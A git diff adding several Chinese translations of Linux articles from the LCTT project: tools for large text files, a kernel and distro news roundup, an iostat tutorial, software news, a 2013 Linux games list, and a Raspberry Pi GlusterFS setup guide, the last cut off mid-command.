### + +如果你只需要查看一个文本文件,并不对它做编辑,可以考虑下 [glogg][2]。它是一款基于图形用户界面的独立日志分析器。这个 glogg 分析器支持通过正则表达式和通配符来对要打开的文本文件进行过滤和筛选,使用户只看到其真正关注的内容。 + +在 Debian (Wheezy 版本或更高版本)、Ubuntu 或 Linux Mint 系统中安装 glogg :  + + $ sudo apt-get install glogg + +在 Fedora (17 版本或更高版本) 系统中安装 glogg : + + $ sudo yum install glogg + +用 glogg 打开文本文件 : + + $ glogg test.log + +glogg 能很快的打开一个大文本文件。我花了大约 12 秒就打开了一个 1G 的日志文件。 + +![](http://farm8.staticflickr.com/7354/11313640286_4ebee2b959_z.jpg) + +在 "Text" 区域,你可以输入正则表达式,然后点击 "Search" 按纽,它支持表达式大小写敏感搜索以及自动刷新功能。搜索后,在窗体底部会显示出筛选的结果内容。 + +![](http://farm3.staticflickr.com/2851/11313594455_d57c700c4b_z.jpg) + +从装载文件来跟 VIM 对比, glogg 显得更轻量级,在加载完一个 1G 的日志文件后,它仅仅只使用了 83M 的物理内存。 + +### JOE 文体编辑器 ### + +[JOE][3] 是GPL下发布的一个轻量级的基于终端的文本编辑器。JOE 是一款少有的支持大文件的文本编辑器,可以打开和编辑比物理内存大的文件。 + +此外,JOE支持各种功能强大的文本编辑功能,如非破坏性编辑,用正则表达式搜索和替换,无限次的撤销/重做,语法高亮等。 + +在 Debian、Ubuntu 或 Linux Mint 系统中安装 JOE: + + $ sudo apt-get install joe + +在 Fedora、CentOS 或 RHEL 系统中安装 JOE: + + $ sudo yum install joe + +要打开编辑文本文件,请运行: + + $ joe test.log + +![](http://farm4.staticflickr.com/3684/11317402126_406058bf78_z.jpg) + +相比上面提到的 glogg 来说,用 JOE 加载一个大文本文件会有点卡,加载一个 1G 的文件要用将近 30 秒的时间,不过考虑到要对文件进行全文编辑,这还能忍受。一旦文件加载完成,就可以在相当快捷的终端模式中编辑此文件。 + +JOE的内存消耗令人印象深刻。加载并编辑一个1GB的文本文件,只花费47MB的物理内存。 + +![](http://farm4.staticflickr.com/3728/11317483233_2017b5878b_z.jpg) + +如果你还知道在 Linux 中打开/编辑大文本文件的其它方法的话,请跟我们分享! + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2013/12/open-large-text-file-linux.html + +译者:[runningwater](https://github.com/runningwater) 校对:[jasminepeng](https://github.com/jasminepeng) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.vim.org/scripts/script.php?script_id=1506 +[2]:http://glogg.bonnefon.org/ +[3]:http://joe-editor.sourceforge.net/ diff --git a/published/201402/Linux Top 3--Linux 3.13, System Rescue 4 and BackBox 3.13.md b/published/201402/Linux Top 3--Linux 3.13, System Rescue 4 and BackBox 3.13.md new file mode 100644 index 0000000000..d2c3367f31 --- /dev/null +++ b/published/201402/Linux Top 3--Linux 3.13, System Rescue 4 and BackBox 3.13.md @@ -0,0 +1,44 @@ +Linux 安全新闻: Linux 3.13、SystemRescueCD 4和BackBox 3.13 +================================================================================ +### 1) Linux 3.13 ### + +Linus Torvalds 前一段时间释出了 Linux Kernel 3.13 作为2014年的开门红。按照惯例,此版本更新了大量驱动。 + +并且,Linux Kernel 3.13 包含了 nftable,这个软件是大名鼎鼎的 iptables 的继任者。从提交的代码来看,nftables 继续使用现存的网络过滤钩子(netfilter hooks)、连接追踪系统、NAT 子系统、透明代理引擎、日志基础架构和用户空间包排列设施。 + +> “简而言之,nftables 提供4个128位的普通寄存器和1个特殊寄存器用于保存结论”,代码提交的注释上说道,“并且 nftables 继承了 iptables 的“table/chain/rule 对象”这些概念,但提供了更灵活的配置方式,它也包含原先映射支持的未知数据类型架构。” +> +> 值得注意的是这次还支持 NFC(近场通信)支付协议。 +> +> “使用 NFC_CMD_SE_IO 命令发送 ISO07816 应用协议数据单元到 NFC 嵌入式安全设备,”Intel 开发人员 Samuel Ortiz 在他的提交[信息][1]中写道:“反馈信息也是通过 NFC_CMD_SE_IO 返回到用户空间的。” + +### 2) System Rescue CD 4.0.0 ### + +大多数人都会使用 Linux 作为服务器或桌面系统,其实我们还可以把一个 Linux 系统拿来救援一个非 *nix 系统。 + +用于恢复系统和数据的 Linux 发行版中,比较流行的一个是“SystemRescueCd”,它在上周更新到了4.0.0版。 + +以下是它的[更新记录][2]: + +- 标准内核:长期支持(LTS)版 linux-3.10.25(内核镜像包含32位的 rescue32 和 64位的 rescue64) +- 备用内核:最新稳定版 linux-3.12.7(内核镜像包含32位的 altker32 和 64位的 altker64) +- XOrg 图形环境和驱动更新到 xorg-server-1.14.3 +- GParted 更新到 0.17.0(添加在线重新分区的功能) +- btrfs 工具集更新到 sys-fs/btrfs-progs-3.12 + +### 3) BackBox 3.13 ### + +Linux 也是那些安全专家们手中的强大武器,而 BackBox 就是一个专注于安全的 Linux 发行版(BackBox 主要面对安全评估和渗透测试 —— 译者注)。最新版的 BackBox 更新了大量组件,有一点很奇怪,它没有使用最新的 Linux 3.13 内核,而用了 Linux 3.11 内核。 + +现在的 BackBox 发行版可以在匿名模式下更新安全工具。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxplanet.com/news/linux-top-3-linux-3.13-system-rescue-4-and-backbox-3.13.html + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=5ce3f32b5264b337bfd13a780452a17705307725 +[2]:http://www.sysresccd.org/Changes-x86 diff --git a/published/201402/Linux iostat Command to Report CPU Statistics and IO Statistics.md b/published/201402/Linux iostat Command to Report CPU Statistics and IO Statistics.md new file mode 100644 index 0000000000..04cd3942f5 --- /dev/null +++ b/published/201402/Linux iostat Command to Report CPU Statistics and IO Statistics.md @@ -0,0 +1,110 @@ +Linux 下使用iostat命令生成CPU和I/O的统计报告 +================================================================================ +CPU是一台电脑的大脑。所有的处理命令都运行在上面。I/O(输入/输出)同样扮演了一个重要角色。硬盘用于提供数据给处理器并保存CPU处理过的数据。一种衡量处理器和I/O利用率的方法是使用**iostat**命令。通过它们的利用率,我们可以决定是否该增加更多资源。 + +## iostat 是什么 ## + +iostat通过观察设备的活跃时间和他们平均传输率之间的关系来监视系统的输入/输出设备负载。iostat生成的报告可以用于修改系统配置从而更好在物理硬盘间平衡输入/输出的报告。 + +### 安装 iostat ### + +iostat包含在**sysstat**包内。如果你没有,你首先需要安装它。 + +#### 在 RedHat / CentOS / Fedora #### + + # yum install sysstat + +#### 在 Debian / Ubuntu / Linux Mint #### + + $ sudo apt-get install sysstat + +### 如何运行 iostat ### + +要运行它,只需在控制台下**输入iostat**。下面是一个例子。 + + $ iostat + +![iostat 默认报告](http://linoxide.com/wp-content/uploads/2013/12/iostat_default.png) + +## 下面是如何读取iostat默认报告 ## + +### 第一部分包含了CPU报告 ### + +- **%user** : 显示了在执行用户(应用)层时的CPU利用率 +- **%nice** : 显示了在以nice优先级运行用户层的CPU利用率 +- **%system** : 显示了在执行系统(内核)层时的CPU利用率 +- **%iowait** : 显示了CPU在I/O请求挂起时空闲时间的百分比 +- **%steal** : 显示了当hypervisor正服务于另外一个虚拟处理器时无意识地等待虚拟CPU所占有的时间百分比。 +- **%idle** : 显示了CPU在I/O没有挂起请求时空闲时间的百分比 + +### 第二部分包含了设备利用率报告 ### + +- **Device** : 列出的**/dev** 目录下的设备/分区名称 +- **tps** : 显示每秒传输给设备的数量。更高的tps意味着处理器更忙。 +- **Blk_read/s** : 显示了每秒从设备上读取的块的数量(KB,MB) +- **Blk_wrtn/s** : 显示了每秒写入设备上块的数量(KB,MB) +- **Blk_read** : 显示所有已读取的块 +- **Blk_wrtn** : 显示所有已写入的块 + +### 以KB或MB捕捉iostat ### + +默认上,iostat以B为单位衡量I/O系统。为了更便于阅读,我们可以iostat将报告转换成以KB或者MB为单位。只需要加入**-k参数**来创建以**KB为单位**,**-m参数**来创建以**MB为单位**。 + + $ iostat -k + +![以KB为单位的iostat](http://linoxide.com/wp-content/uploads/2013/12/iostat_k.png) + + $ iostat -m + +![以MB为单位的iostat](http://linoxide.com/wp-content/uploads/2013/12/iostat_m.png) + +要扩展报告,我们可以在iostat后面跟上**-x选项**。 + + $ iostat -x + +![扩展iostat报告](http://linoxide.com/wp-content/uploads/2013/12/iostat_x.png) + +### 带延迟使用iostat ### + +和[vmstat][1]一样,作为一个统计工具,最好带延迟参数来使用它。通过延迟参数,我们可以看到趋势。这里有一些带延时运行iostat的示例。 + +### 以KB为单位,2秒间隔,运行3次的方式运行iostat ### + + $ iostat -k 2 3 + +![iostat以KB来报告](http://linoxide.com/wp-content/uploads/2013/12/iostat_k_2_3.png) + +### 只显示CPU报告,并以3秒为间隔,报告6次 ### + + $ iostat -c 3 6 + +![以3秒为间隔,只显示iostat](http://linoxide.com/wp-content/uploads/2013/12/iostat_c_3_6.png) + +### 显示hda2和hda6的设备报告,以2秒为间隔,报告4次 ### + + $ iostat -d hda2 hda6 2 4 + +![只显示硬盘的iostat](http://linoxide.com/wp-content/uploads/2013/12/iostat_d_hda2_hda6_2_4.png) + +### 文件 ### + +iostat使用这些文件来创建报告。 + +**/proc/stat** 包含了系统统计 +**/proc/partitions** 包含磁盘统计 (对于已打过补丁的2.5以前的内核) +**/proc/diskstats** 包含磁盘统计 (对于2.5以后的内核) +**/sys** 包含块设备统计 (2.5以后内核) + +## 总结 ## + +vmstat用于监视内存使用,iostat用于监视CPU使用率和I/O系统,这样我们就有了完整的工具来监视你机器中三个重要的组件。这些工具的一个好处是你无需使用root权限运行它们。你可以浏览iostat的手册来深入了解。只需在控制台下输入**man iostat**就可进入iostat手册界面。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-iostat-command/ + +译者:[geekpi](https://github.com/geekpi) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linoxide.com/linux-command/linux-vmstat-command-tool-report-virtual-memory-statistics/ diff --git a/published/201402/Markdown Text Editor CuteMarkEd 0.9.0 Gets New Options.md b/published/201402/Markdown Text Editor CuteMarkEd 0.9.0 Gets New Options.md new file mode 100644 index 0000000000..827ee5b79f --- /dev/null +++ b/published/201402/Markdown Text Editor CuteMarkEd 0.9.0 Gets New Options.md @@ -0,0 +1,34 @@ +Maekdown编辑器CuteMarkEd的新功能 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/Markdown-Text-Editor-CuteMarkEd-0-9-0-Gets-News-Options-421082-2.png) + +**CuteMarkEd 0.9.0 是一个基于QT,免费开源带实时HTML预览的markdown编辑器,目前已经释出并已提供下载了。** + +CuteMarkEd是一个非常有用的Qt文本编辑器,可以提供数学表达式、代码语法高亮、和markdown语法高亮的支持。 + +### CuteMarkEd 0.9.0 的亮点: ### + +- 加入了一个代码补齐系统; +- 加入 "Go to Line" 菜单; +- 在查找/替换功能中加入了新的"case sensitive," "whole words only," 和 "use regular expressions" 选项。 +- 支持将选中的单词加入用户词典; +- 加入了改变tab字符宽度的选项 + +在官方[公告][1]中查找完整的改变列表和提升。 + +马上下载CuteMarkEd 0.9.0: + +- [CuteMarkEd 0.9.0 tar.gz][2] [源码] [372 KB] + +记住这是一个开发 版本,不应该在生产机器上安装。它只用于测试目的。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Markdown-Text-Editor-CuteMarkEd-0-9-0-Gets-News-Options-421082.shtml + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://qt-apps.org/content/show.php/CuteMarkEd?content=158801 +[2]:https://github.com/cloose/CuteMarkEd/archive/v0.9.0.tar.gz diff --git a/published/201402/Pear OS Is History!.md b/published/201402/Pear OS Is History!.md new file mode 100644 index 0000000000..fc60d62f90 --- /dev/null +++ b/published/201402/Pear OS Is History!.md @@ -0,0 +1,33 @@ +Pear OS 系统已成为历史! +================================================================================ +![](http://itsfoss.com/wp-content/uploads/2014/01/RIP_PearOS.jpeg) + +2014年伊始就看到了又一个 Linux 发布版本的消亡。这一次是外形跟 Mac 系统很相似的 [Pear OS][1] 系统高调的说再见了。从现在开始,Pear OS 不在提供下载了。从一月三十一号起,Pear Cloud 服务也会离线。 + +跟[2013年终止的 Linux 发行版本][2]不一样,Pear OS 并不是因为缺乏资金或人为权利的原因而终止的,而是被不知名的大企业(我希望不是 Apple 公司 :P)所收购。他们将会把 Pear OS 作为自有产品,这就意味着社区不能对 Pear OS 创建分支(fork)及继续使用。 + +2014年1月20日,Pear OS 的所有者大卫·塔瓦雷斯(David Tavares)在 [Facebook][3] 上发布消息: + +> 它的未来现在已经交到一个公司的手中,此刻这个公司仍然低调,想保密。他们很喜欢系统的设计理念,想把它作为自有的产品,然后继续完善和改进。我不能道出他们公司的名字,但它是一个很大的知名企业 ...... + +相同的消息在 Pear OS 的官网上也挂出来了,大卫在告别的消息中感谢用户和开发者对他们的支持。 + +也许这就可以解释了为什么 Pear OS 8 像一个失控的越野车一样。大卫已经很少专注在 Pear OS 的开发上了,他正忙着敲定这笔交易呢。{可以读读:[Pear OS 8 评论][4]} + +在社区网站上我看到了很多愤怒的消息,因为它背叛了开源的“宗旨”。在一定程度上,虽然这种爆发的情绪是可以理解的,但这是大卫的权利,他有权利选择他认为的更好的未来。他表示他会转到另一个方向,也许又会开启一个新的企业。我希望他得未来式幸运的。 + +Pear OS 已经不在,他的用户可能会[安装 Elementary OS Luna][5],另外一个基于 Ubuntu 但有 OS X 风格外观的发布版本。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/pear-os-history/ + +译者:[runningwater](https://github.com/译者ID) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://pearlinux.fr/ +[2]:http://itsfoss.com/year-2013-linux-2-linux-distributions-discontinued/ +[3]:https://www.facebook.com/permalink.php?story_fbid=453625568072975&id=340980619337471&stream_ref=10 +[4]:http://itsfoss.com/pear-os-8-review/ +[5]:http://itsfoss.com/guide-install-elementary-os-luna/ \ No newline at end of file diff --git a/published/201402/Top 10 Linux Games of 2013.md b/published/201402/Top 10 Linux Games of 2013.md new file mode 100644 index 0000000000..a2c1f038a9 --- /dev/null +++ b/published/201402/Top 10 Linux Games of 2013.md @@ -0,0 +1,158 @@ +2013年度10大linux游戏 +================================================================================ + +**随着2013年的离去,我们评点了10款去年最受喜爱的linux游戏。** + +得益于Value公司持续不断对平台的支持,2013年取得了巨大的成就。既有来自大工作室,例如战地系列开发者[DICE][1]的宣言,也有Creative Assembly公司关于下一年把“全面战争:罗马II”带入linux的承诺。 + +我们的名单既包括独立游戏,也包括迄今为止最具影响力的AAA级游戏。**这份名单并不试图包含一切,除了我们的观点** + +所有的这些游戏都可以在Steam平台和/或者Ubuntu软件中心上找到,赶紧掏出钱包向你的屏幕砸钱吧! + +### 盖瑞模组 ### + +![prop or not?](http://www.omgubuntu.co.uk/wp-content/uploads/2013/12/garrysmod-prophunt.jpg) +*prop or not?* + +“盖瑞模组”是一个沙盘游戏,但是不为玩家设立目标,神奇隐藏在从一系列的Source引擎游戏中装载的道具和社区不断创造的各种游戏模式中。 + +其中一个模式是[PropHunt][3] - 一个躲猫猫的游戏模式,有两组团队,一组隐藏为地图中的不同物体,另一组试图去寻找隐藏在楼道里摇摇欲坠的文件柜。 + +简单而有趣,大量的游戏模式 - prop hunting(躲猫猫)、spaceship building(建造飞船)、或者machinima recording(拍摄游戏引擎电影) - 使得“盖瑞模组”成为linux狂热游戏爱好者的收藏。 + +- [从Steam上获取“盖瑞模组”][4] + +### 半条命 2 ### + +![理论物理从未如此之酷](http://www.omgubuntu.co.uk/wp-content/uploads/2013/05/halflife.jpg) +*理论物理从未如此之酷* + +说到Source引擎,“半条命2”也许是这份名单里最古老的游戏,但是也是迄今为止Value公司所有作品和今年移植到linux上所有游戏中最受欢迎的游戏之一。 + +“半条命2”继续了该系列上一个作品中主角理论物理学家Gordon Freeman的故事:想方设法穿过被人类和外星生物毁坏的世界。从物理谜题到令人恐惧而敏捷的猎头蟹总是会出现在你前进的道路上,这场旅行*仍然*是今天最迷人的游戏经历之一。 + +“半条命”系列的下一个作品仍然有很多东西需要去兑现,但是从该作品移植到linux平台上接受情况上判断,linux游戏爱好者已经做好准备把雪橇和重力枪抓在手上了。 + +- [从Steam上获取“半条命2”][5] + +### 失忆症:猪猡的机器 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/09/amnesia-machine-for-pigs.jpg) + +当我们[在九月份][6]评论“失忆症:猪猡的机器”时,我们发现这部作品的气氛和它的前作一样令人胆战心惊,并且值得我们跋涉过种种不算太难的谜题去探寻属于维多路亚时代的游戏场景以及蒸汽朋克式的机械装置。 + +最大的收获是linux首次支持该款大受欢迎游戏系列的作品,虽然Frictional Gmaes公司的开发者们一贯的对linux游戏爱好者友好。在2007和2008年,半影系列一发布他们就完成了移植的工作。 + +- [在Steam上获取“失忆症:猪猡的机器”][7] +- [在Ubuntu软件中心获取“失忆症:猪猡的机器”][8] + +### 地铁:最后的曙光 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/12/metro-lastlight-750x294.png) + +“地铁:最后的曙光”是最早进入linux的AAA级游戏之一,而且启动速度[相对较快][9]。背景设置在2034年被核毁灭的莫斯科,“地铁:最后的曙光”将世界末日后的故事集中在一个射手的第一视角里。 + +从鬼魅到变异蜘蛛以及巨大的变形虫都准备好让末日后莫斯科的普通一天不好过。 + +这款游戏并不像同类末日后题材的辐射系列那样轻松搞笑,相反它反映了人类在艰难时期所经历的残酷,一些时候让人触动。 + +- [从Steam上获取“地铁:最后的曙光”][10] + +### 星际边界 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/12/starbound.jpg) + +你可以把“星际边界”想象成具有实际故事情节且发生在太空的“泰拉瑞亚”或者2D版的“我的世界”。有什么理由不去喜爱它呢? + +和“我的世界”十分类似,你可以狩猎、挖矿、或者建造。但是和流行的3D沙盘游戏不同,你还能旅行到其他的星球并且加入一个实际的故事主线。开始时你的飞船搁浅在轨道上,你的第一项挑战包括熟悉游戏的玩法机制和寻找燃料,这些燃料使得你的飞船能够探寻程序产生的各种星球。更多的是,程序会为每一个星球产生多样的怪兽,这样在你的旅途上你将会遭遇一些奇异的生物。 + +“星际边界”是一款**预览版游戏**,所以你可能会发现一些不完善的机制(最起码弓和箭有一点不太好使)或者经历一到两次崩溃。尽管它仍在测试当中,但仍旧是一款有趣而有特色的游戏。 + +- [在Steam上获取“星际边界”][11] + +### 0 A.D. ### + +![工人们正在建造建筑和采摘草莓](http://www.omgubuntu.co.uk/wp-content/uploads/2013/09/0ad_buildings.jpg) +*工人们正在建造建筑和采摘草莓* + +尽管“0 A.D.”几年前已经就面向linux,但是因为它在2013年的所有成就,我们认为它应该在这份名单上占据一席之地。 + +它是名单上唯一一款免费且开源的产品,最近通过[募捐活动][12]筹得了$33,251 - 足够了,他们说,准备雇佣一名程序员全职工作一年。虽然并没有达到它最初的募捐目标,但仍然获得了$33,251去支撑这个开源项目。 + +比任何都重要的是,它很有趣。“帝国时代”风格的实时战略游戏的粉丝们将享受历经多年打造的“0 A.D.”。虽然持续改进细节,但这款作品仍然有很长的一段路要走,还有一名志愿程序员在坚持完善它。 + +- [从Ubuntu软件中心获取“0 A.D.”][13] + +### 纸箱里的坦克战争 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/12/papertanks.jpg) + +塔防类游戏就像黑白棋或者扫雷游戏那样普遍,但是“[纸箱里的战争][14]”添加了一剂令人上瘾的魅力。 + +它独特的纸工艺美学非常起效,使得24个关卡散发出永不疲倦的魅力,让你流连忘返。每一个沉溺于即时塔防游戏的玩家都能接受这款游戏$3.99的售价。简单有趣,但又魅力十足。 + +- [获取“纸箱里的坦克战争”][15] + +### FEZ ### + +![我喜欢fezes,fezes很酷。](http://www.omgubuntu.co.uk/wp-content/uploads/2013/09/fez-closeup-300x204.png) +*我喜欢fezes,fezes很酷。* + +我们在[九月份][16]评论了“FEZ”,虽然是2D游戏,但是能够变换视角,一个带着毡帽和面团宝宝一样有趣的主人公让其名声大噪。 + +跳跃谜题、令人头疼的视角谜题以及游戏里的幽默,所有的这些都让这款作品保持新鲜,即便你已经在一张地图上摔死了很多次或者靠近了引爆的炸弹。 + +- [从Steam上获取“FEZ”][17] + +### 欧陆风云 IV ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/12/europa-universalis-banner.jpg) + +想象一个不同的“文明”系列,更多的微观管理、更多的历史,以及一个巨大的不同:它支持linux! + +和“文明”系列不一样的是,“欧陆风云”系列是历史决策游戏,虽然它并不详细的描述历史教科书。“欧陆风云IV”没有把战争延绵在几千年的历史上,它仅仅只包含了1444年-1821年。但是这并不意味着“欧陆风云”不如长跨度的“文明”系列那样有趣和迷人。 + +“欧陆风云IV”是实时游戏,而不是回合制的,所以你需要经常暂停以便更好地审视你不断增长的帝国或者你富裕国家的广阔的贸易路线。考虑到“大战略”游戏玩法的内容篇幅,“欧陆风云”系列可能会吓到初学者,但是如果你想在美洲殖民历史上大展手脚或者扭转拿破仑战争的局势,这些努力都是值得的。 + +- [从Steam上获取“欧陆风云IV”][18] + +### 肯塔基0号路 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/02/Kentucy-Route-Zero-1.jpg) + +“[肯塔基0号路][19]”一直以来都是我最喜爱的游戏之一。它是名单里最富艺术气息的作品,同时它也是彰显游戏诗意的典范,当然这里不考虑2014年及以后我们所能找到所有AAA级作品。 + +“肯塔基0号路”给点击类冒险游戏带来了魔幻现实主义色彩,将经典的冒险游戏元素和超现实融合在一起。游戏开始时,你试图寻找一个不明就里的地址去投递古董,但是随后剧情将朝着无法预料,通常是奇特的方向发展。 + +这是一款探索类游戏,不是为了完成某个任务或者去营救一个总是在其他城堡里的公主。它不会被每一个人喜欢 - 也不会符合每一个人对“游戏”的定义 - 但是它却是最具意义和创造性,同时又让我享受其中的作品之一。 + +- [从Steam上获取“肯塔基0号路”][20] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/12/top-10-linux-games-2013 + +译者:[OnlySang](https://github.com/OnlySang) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.polygon.com/2013/10/12/4826190/linux-only-needs-one-killer-game-to-explode-says-battlefield-director +[2]:http://www.omgubuntu.co.uk/2013/11/total-war-rome-ii-coming-linux-early-next-year +[3]:http://steamcommunity.com/sharedfiles/filedetails/?id=135509255 +[4]:http://store.steampowered.com/app/4000 +[5]:http://store.steampowered.com/app/220 +[6]:http://www.omgubuntu.co.uk/2013/09/amnesia-a-machine-for-pigs-review +[7]:http://store.steampowered.com/app/239200 +[8]:https://apps.ubuntu.com/cat/applications/amnesia-amfp/ +[9]:http://www.omgubuntu.co.uk/2013/11/metro-last-light-steam-linux-download +[10]:http://store.steampowered.com/app/43160 +[11]:http://store.steampowered.com/app/211820 +[12]:http://www.omgubuntu.co.uk/2013/10/crowd-funding-success-historical-war-game-0-d +[13]:https://apps.ubuntu.com/cat/applications/0ad/ +[14]:http://www.omgubuntu.co.uk/2013/03/war-in-a-box-paper-tanks-ubuntu-review +[15]:https://apps.ubuntu.com/cat/applications/war-in-a-box-paper-tanks/ +[16]:http://www.omgubuntu.co.uk/2013/09/fez-indie-game-review-on-linux +[17]:http://store.steampowered.com/app/224760/ +[18]:http://store.steampowered.com/app/236850 +[19]:http://www.omgubuntu.co.uk/2013/02/adventures-in-magical-realism-kentucky-route-zero-act-i-review +[20]:http://store.steampowered.com/app/231200 diff --git a/published/201402/Two Pi R.md b/published/201402/Two Pi R.md new file mode 100644 index 0000000000..4d31d2ff9b --- /dev/null +++ b/published/201402/Two Pi R.md @@ -0,0 +1,149 @@ +树莓派使用实例之:2 Pi R +================================================================================ + +很多人都对树莓派的硬件 hack 功能(译注:就是用户可以自己发挥想像力,把树莓派设计成自己想要的机器)感兴趣,而我看中的一点是树莓派的低耗电功能,我可以用它来代替现在在用的 Linux 服务器。在以前的文章中我已经介绍过如何用树莓派代替这些服务器来管理我的啤酒冰箱,以及我在澳大利亚托管的一台树莓派。托管树莓派之后,我开始思考我正在使用的服务器的单点故障问题,并且考虑着手解决它。当你看到文章标题里的“2 Pi R”,你也许会想到圆周长计算公式(C = 2*Pi*R,Pi 为圆周率,R 为半径),但在本文中,“R”的意思是“冗余(redundancy)”。当然,一块树莓派并不能实现冗余,至少需要两块。下面我将介绍如何用两块树莓派实现冗余。 + +本文将建立一个底层框架,为俩树莓派实现冗余提供基础服务,首先我要用 GlusterFS 建立一个集群网络文件系统。在之后的文章中,我还会介绍如何利用共享存储来建立其他冗余服务。注意,虽然本文使用的是树莓派,但下面的配置操作同样适用于其他硬件。 + +### 配置俩树莓派 ### + +首先从树莓派官网下载最新的 Linux 发行版,并安装到两块 SD 卡中。将树莓派接到电视机上,然后按照文档提示选择内核镜像并启动系统,确认一下 SSH 服务有没有启动(默认情况下 SSH 应该是开机启动的)。你可以使用 raspi-config 命令来增加根分区空间,以便能充分利用 SD 卡的容量。确认系统正常工作、SSH 正常启动后,我可以过程访问它了。我将树莓派与电视机断开,并连到交换机上,重启系统,没有显示界面。 + +默认情况下,Raspbian 会通过 DHCP 获取自己的网络信息,但是在设置冗余服务时,我们希望树莓派每次开机都使用同一个 IP 地址。在我的环境中,我设置了我的 DHCP 服务器,它会在树莓派启动时为它们分配固定的 IP 地址。而你可以编辑 /etc/network/interfaces 文件: + + iface eth0 inet dhcp + +修改成: + + auto eth0 + iface eth0 inet static + address 192.168.0.121 + netmask 255.255.255.0 + gateway 192.168.0.1 + +当然,要将上面的参数修改成你自己的参数,确保每个树莓派使用不同的 IP 地址。我把两个树莓派的主机名都改了,便于在(通过 SSH)登录的时候区分它们。怎么改主机名呢?以 root 权限编辑 /etc/hostname 文件。最后重启系统,确认树莓派使用了正确的网络配置和主机名。 + +### 配置 GlusterFS 服务器 ### + +GlusterFS 是一个用户态的集群文件系统,我选择它,是因为它配置共享网络文件系统很方便。首先选一个树莓派作为主设备(master)。在主设备上你需要做一些初始化操作,完成后,它们会自动执行故障转移。下面是我架设的环境: + + Master hostname: pi1 + Master IP: 192.168.0.121 + Master brick path: /srv/gv0 + Secondary hostname: pi2 + Secondary IP: 192.168.0.122 + Secondary brick path: /srv/gv0 + +在开始之前,登入这两个树莓派,然后安装 glusterfs-server 软件包: + + $ sudo apt-get install glusterfs-server + +GlusterFS 将数据保存在一些被称为“块”的设备中。一个“块”是一个系统路径,由你指定给 gluster 使用。GlusterFS 会将所有“块”组合成一个存储卷,给客户端使用。GlusterFS 会将文件的数据分割成多份,保存在不同的“块”中。所以虽然一个“块”看起来就是一个普通的路径,你最好不要在树莓派中直接操作它,而应该通过客户端访问 GlusterFS 服务,让 GlusterFS 操作。本文中我在两个树莓派中都新建一个 /srv/gv0 目录作为 GlusterFS 的“块”: + + $ sudo mkdir /srv/gv0 + +在我的环境中,我将 SD 卡上的根文件系统共享出来,而你可能需要共享更大的存储空间。如果是这样的话,在两块树莓派上都接上 USB 硬盘,格式化后挂载到 /srv/gv0 上。编辑下 /etc/fstab 文件,确保系统每次启动时都会把你的 USB 硬盘挂载上去。两个树莓派上的“块”不一定需要有相同的名字或者相同的路径名称,但是把它们设置为相同的值也没什么坏处。 + +配置好“块”的路径,安装好 glusterfs-server 软件包,确认两个树莓派都正常工作,然后登入被你设为主设备的树莓派,输入“gluster peer probe”命令,将次设备加入到集群中。在我的环境中,我用 IP 地址表示第二个节点,如果你比较有个性,并且有设置过 DNS,你也可以用主机名表示这个节点。 + + pi@pi1 ~ $ sudo gluster peer probe 192.168.0.122 + Probe successful + +目前为止,我的 pi1 (192.168.0.121) 信任 pi2 (192.168.0.122),我可以建立一个存储卷,名字都想好了:gv0。在主设备端运行命令“gluster volume create”: + + pi@pi1 ~ $ sudo gluster volume create gv0 replica 2 192.168.0.121:/srv/gv0 192.168.0.122:/srv/gv0 + Creation of volume gv0 has been successful. Please start + the volume to access data. + +这里稍微解释一下命令的意思。“gluster volume create”就是新建一个卷;“gv0”是卷名,这个名称将会在客户端被用到;“replica 2”表示这个卷的数据会在两个“块”之间作冗余,而不是将数据分割成两份分别存于两个“块”。这个命令保证了卷内的数据会被复制成两份分别保存在两个“块”中。最后我定义两个独立的“块”,作为卷的存储空间:192.168.0.121 上的 /srv/gv0 和 192.168.0.122 上的 /srv/gv0。 + +现在,卷被成功创建,我只需启动它: + + pi@pi1 ~ $ sudo gluster volume start gv0 + Starting volume gv0 has been successful + +然后我可以在任何一个树莓派上使用“volume info”命令来查看状态: + + $ sudo gluster volume info + + Volume Name: gv0 + Type: Replicate + Status: Started + Number of Bricks: 2 + Transport-type: tcp + Bricks: + Brick1: 192.168.0.121:/srv/gv0 + Brick2: 192.168.0.122:/srv/gv0 + +### 配置 GlusterFS 客户端 ### + +卷已启动,现在我可以在一个支持 GlusterFS 的客户端上,将它作为一个 GlusterFS 类型的文件系统挂载起来。首先我想在这两个树莓派上挂载这个卷,于是我在两个树莓派上都创建了挂载点,并下面的命令把这个卷挂载上去: + + $ sudo mkdir -p /mnt/gluster1 + $ sudo mount -t glusterfs 192.168.0.121:/gv0 